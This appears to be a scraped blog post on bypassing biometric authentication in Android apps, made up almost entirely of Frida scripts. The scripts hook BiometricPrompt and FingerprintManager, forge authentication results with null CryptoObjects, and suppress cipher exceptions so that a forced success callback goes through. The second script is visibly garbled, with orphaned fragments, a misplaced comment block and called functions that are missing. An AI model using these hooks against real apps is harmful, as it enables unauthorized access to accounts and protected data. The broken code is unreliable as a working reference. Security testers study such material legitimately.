Biometric Authentication Bypass In Android Applications (The Offensive Security Way)

8 months ago 63

BOOK THIS SPACE FOR AD

ARTICLE AD

there are quite some vendor/third party SDKs, which provide biometric support, but which have their own insecurities. Be very cautious when using third party SDKs to handle sensitive authentication logic.

Frida scripts which can be used to test insecure implementations of biometric authentication and try to bypass them:

/*
Bypass fingerprint authentication if the app accept NULL cryptoObject in onAuthenticationSucceeded(...).
This script should automatically bypass fingerprint when authenticate(...) method will be called.
*/

console.log("Fingerprint hooks loaded!");

Java.perform(function () {
//Call in try catch as Biometric prompt is supported since api 28 (Android 9)
try { hookBiometricPrompt_authenticate(); }
catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") }
try { hookBiometricPrompt_authenticate2(); }
catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") }
try { hookFingerprintManagerCompat_authenticate(); }
catch (error) { console.log("hookFingerprintManagerCompat_authenticate failed"); }
try { hookFingerprintManager_authenticate(); }
catch (error) { console.log("hookFingerprintManager_authenticate failed"); }
});

var cipherList = [];
var StringCls = null;
Java.perform(function () {
StringCls = Java.use('java.lang.String');

});

function getBiometricPromptAuthResult() {
var sweet_cipher = null;
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
}

function hookBiometricPrompt_authenticate() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
console.log("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}

function hookBiometricPrompt_authenticate2() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate2()...");
biometricPrompt.implementation = function (crypto, cancellationSignal, executor, callback) {
console.log("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto + ", cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}

function hookFingerprintManager_authenticate() {
/*
public void authenticate (FingerprintManager.CryptoObject crypto,
CancellationSignal cancel,
int flags,
FingerprintManager.AuthenticationCallback callback,
Handler handler)
Error: authenticate(): has more than one overload, use .overload(<signature>) to choose from:
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler')
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int')

*/
var fingerprintManager = null;
var cryptoObj = null;
var authenticationResultObj = null;
try {
fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
} catch (error) {
try {
fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult');
}
catch (error) {
console.log("FingerprintManager class not found!");
return
}
}
console.log("Hooking FingerprintManager.authenticate()...");

var fingerprintManager_authenticate = fingerprintManager['authenticate'].overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler');
fingerprintManager_authenticate.implementation = function (crypto, cancel, flags, callback, handler) {
console.log("[FingerprintManager.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler);
var sweet_cipher = null;
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
callback.onAuthenticationSucceeded(authenticationResultInst);
return this.authenticate(crypto, cancel, flags, callback, handler);
}
}

function enumMethods(targetClass) {
var hook = Java.use(targetClass);
var ownMethods = hook.class.getDeclaredMethods();

return ownMethods;
}

This Frida script will bypass authentication when the CryptoObject is not used in the authenticate method of the BiometricPrompt class. The authentication implementation relies on the callback onAuthenticationSucceded being called.

Fingerprint bypass via exception handling:

/*
Fingerprint bypass via Exception Handling.
We assume that application use CryptoObject to perform some crypto stuff in the onAuthenticationSucceeded only to confirm that fingerprint authentication (e.g. all data is encrypted using key other than this from fingerprint ).

How to use:
1. Attach script to application.
1. Trigger fingerprint screen (frida should log that authenticate() method was called)
3. run bypass() function.

console.log("Fingerprint hooks loaded!");

Java.perform(function () {

//Call in try catch as Biometric prompt is supported since api 28 (Android 9)
try {hookBiometricPrompt_authenticate();} catch (error){console.log("hookBiometricPrompt_authenticate not supported on this android version")}
try {hookBiometricPrompt_authenticate2();} catch (error){console.log("hookBiometricPrompt_authenticate not supported on this android version")}

//hookFingerprintManagerCompat_authenticate();
hookFingerprintManager_authenticate();

hookDoFinal();
hookDoFinal2();
hookDoFinal3();
hookDoFinal4();
hookDoFinal5();
hookDoFinal6();
hookDoFinal7();
hookUpdate();
hookUpdate2();
hookUpdate3();
hookUpdate4();
hookUpdate5();

});

var cipherList = [];
var callbackG = null;
var authenticationResultInst = null;
var StringCls = null;
Java.perform(function () {
StringCls = Java.use('java.lang.String');

});

function hookBiometricPrompt_authenticate()
{
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function(cancellationSignal,executor,callback) {
console.log("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal +", executor: "+ ", callback: "+ callback);

var sweet_cipher=null;
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(sweet_cipher);

var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
authenticationResultInst = authenticationResultObj.$new(cryptoInst,null,0);
console.log("cryptoInst:, " + cryptoInst + " class: "+ cryptoInst.$className);

callback.onAuthenticationSucceeded(authenticationResultInst);
//return this.authenticate(cancellationSignal,executor,callback);
}

}

function hookBiometricPrompt_authenticate2()
{
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate2()...");
biometricPrompt.implementation = function(crypto,cancellationSignal,executor,callback) {
console.log("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto+ ", cancellationSignal: " + cancellationSignal +", executor: "+ ", callback: "+ callback);

//callback.onAuthenticationSucceeded(authenticationResultInst);

return this.authenticate(crypto,cancellationSignal,executor,callback);
}

}

}

authenticationResultInst = authenticationResultObj.$new(crypto,null,0);
callbackG = callback;

return this.authenticate(crypto,flags, cancel, callback, handler);
}
}

function hookFingerprintManager_authenticate()
{
/*
public void authenticate (FingerprintManager.CryptoObject crypto,
CancellationSignal cancel,
int flags,
FingerprintManager.AuthenticationCallback callback,
Handler handler)
Error: authenticate(): has more than one overload, use .overload(<signature>) to choose from:
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler')
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int')

*/
var fingerprintManager=null;
var cryptoObj=null;
var authenticationResultObj=null;
try{
fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
}catch(error){}
if(fingerprintManager == null)
{
try{
fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult');
}catch(error){}
}
if(fingerprintManager == null)
{
console.log("FingerprintManager class not found!");
return;
}
console.log("Hooking FingerprintManager.authenticate()...");

try{
authenticationResultInst = authenticationResultObj.$new(crypto,null,0,false); //They change this interface every day I swear
} catch(error) {
authenticationResultInst = authenticationResultObj.$new(crypto,null,0);
}

callbackG = callback;

return this.authenticate(crypto, cancel,flags, callback, handler);
}
}

function enumMethods(targetClass)
{
var hook = Java.use(targetClass);
var ownMethods = hook.class.getDeclaredMethods();

return ownMethods;
}

Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
public void run() {
// UI code goes here
}
});
*/

function bypass()
{
Java.perform(function () {

try {
var Runnable = Java.use('java.lang.Runnable');
var Runner = Java.registerClass({
name: 'com.MWR.Runner',
implements: [Runnable],
methods: {
run: function ()
{
try
{
callbackG.onAuthenticationSucceeded(authenticationResultInst); // we just need to call this single line (other code is needed to call this on UI thread)
}
catch (error)
{
console.log("exception catched!" + error );
}
}
}
});

var Handler = Java.use('android.os.Handler');
var Looper = Java.use('android.os.Looper');
var loop = Looper.getMainLooper();
var handler = Handler.$new(loop);
handler.post(Runner.$new());

} catch (e) {
console.log("registerClass error3 >>>>>>>> " + e);
}

});
}

function hookDoFinal()
{
var cipherInit = Java.use('javax.crypto.Cipher')['doFinal'].overload() ;
var tmp = null;
cipherInit.implementation = function() {
console.log("[Cipher.doFinal()]: "+ " cipherObj: "+this);

try{
tmp = this.doFinal();
}
catch (error)
{
console.log("exception catched! " + error );
if((error+"").indexOf("javax.crypto.IllegalBlockSizeException")==-1)
throw error;
else
{
return null;
}
}
return tmp;
}
}

function hookDoFinal4()
{
var cipherInit = Java.use('javax.crypto.Cipher')['doFinal'].overload('java.nio.ByteBuffer', 'java.nio.ByteBuffer') ;
var tmp = null;
cipherInit.implementation = function(a1, a2) {
console.log("[Cipher.doFinal4()]: "+ " cipherObj: "+this);
try{
tmp = this.doFinal(a1, a2);
}
catch (error)
{
console.log("exception catched! " + error );
if((error+"").indexOf("javax.crypto.IllegalBlockSizeException")==-1)
throw error;
else
{
return 1;
}

}
return tmp;
}
}

return tmp;
}
}

return tmp;
}
}

/*
.overload('[B')
.overload('java.nio.ByteBuffer', 'java.nio.ByteBuffer')
.overload('[B', 'int', 'int')
.overload('[B', 'int', 'int', '[B')
.overload('[B', 'int', 'int', '[B', 'int')
*/
function hookUpdate()
{
var cipherInit = Java.use('javax.crypto.Cipher')['update'].overload('[B') ;
var tmp = null;
cipherInit.implementation = function(byteArr) {
console.log("[Cipher.update()]: "+ " cipherObj: "+this);
try{
tmp = this.update(byteArr);
}
catch (error)
{
console.log("exception catched! " + error );
if((error+"").indexOf("javax.crypto.IllegalBlockSizeException")==-1)
throw error;
else
{
return byteArr;
}
}
return tmp;
}
}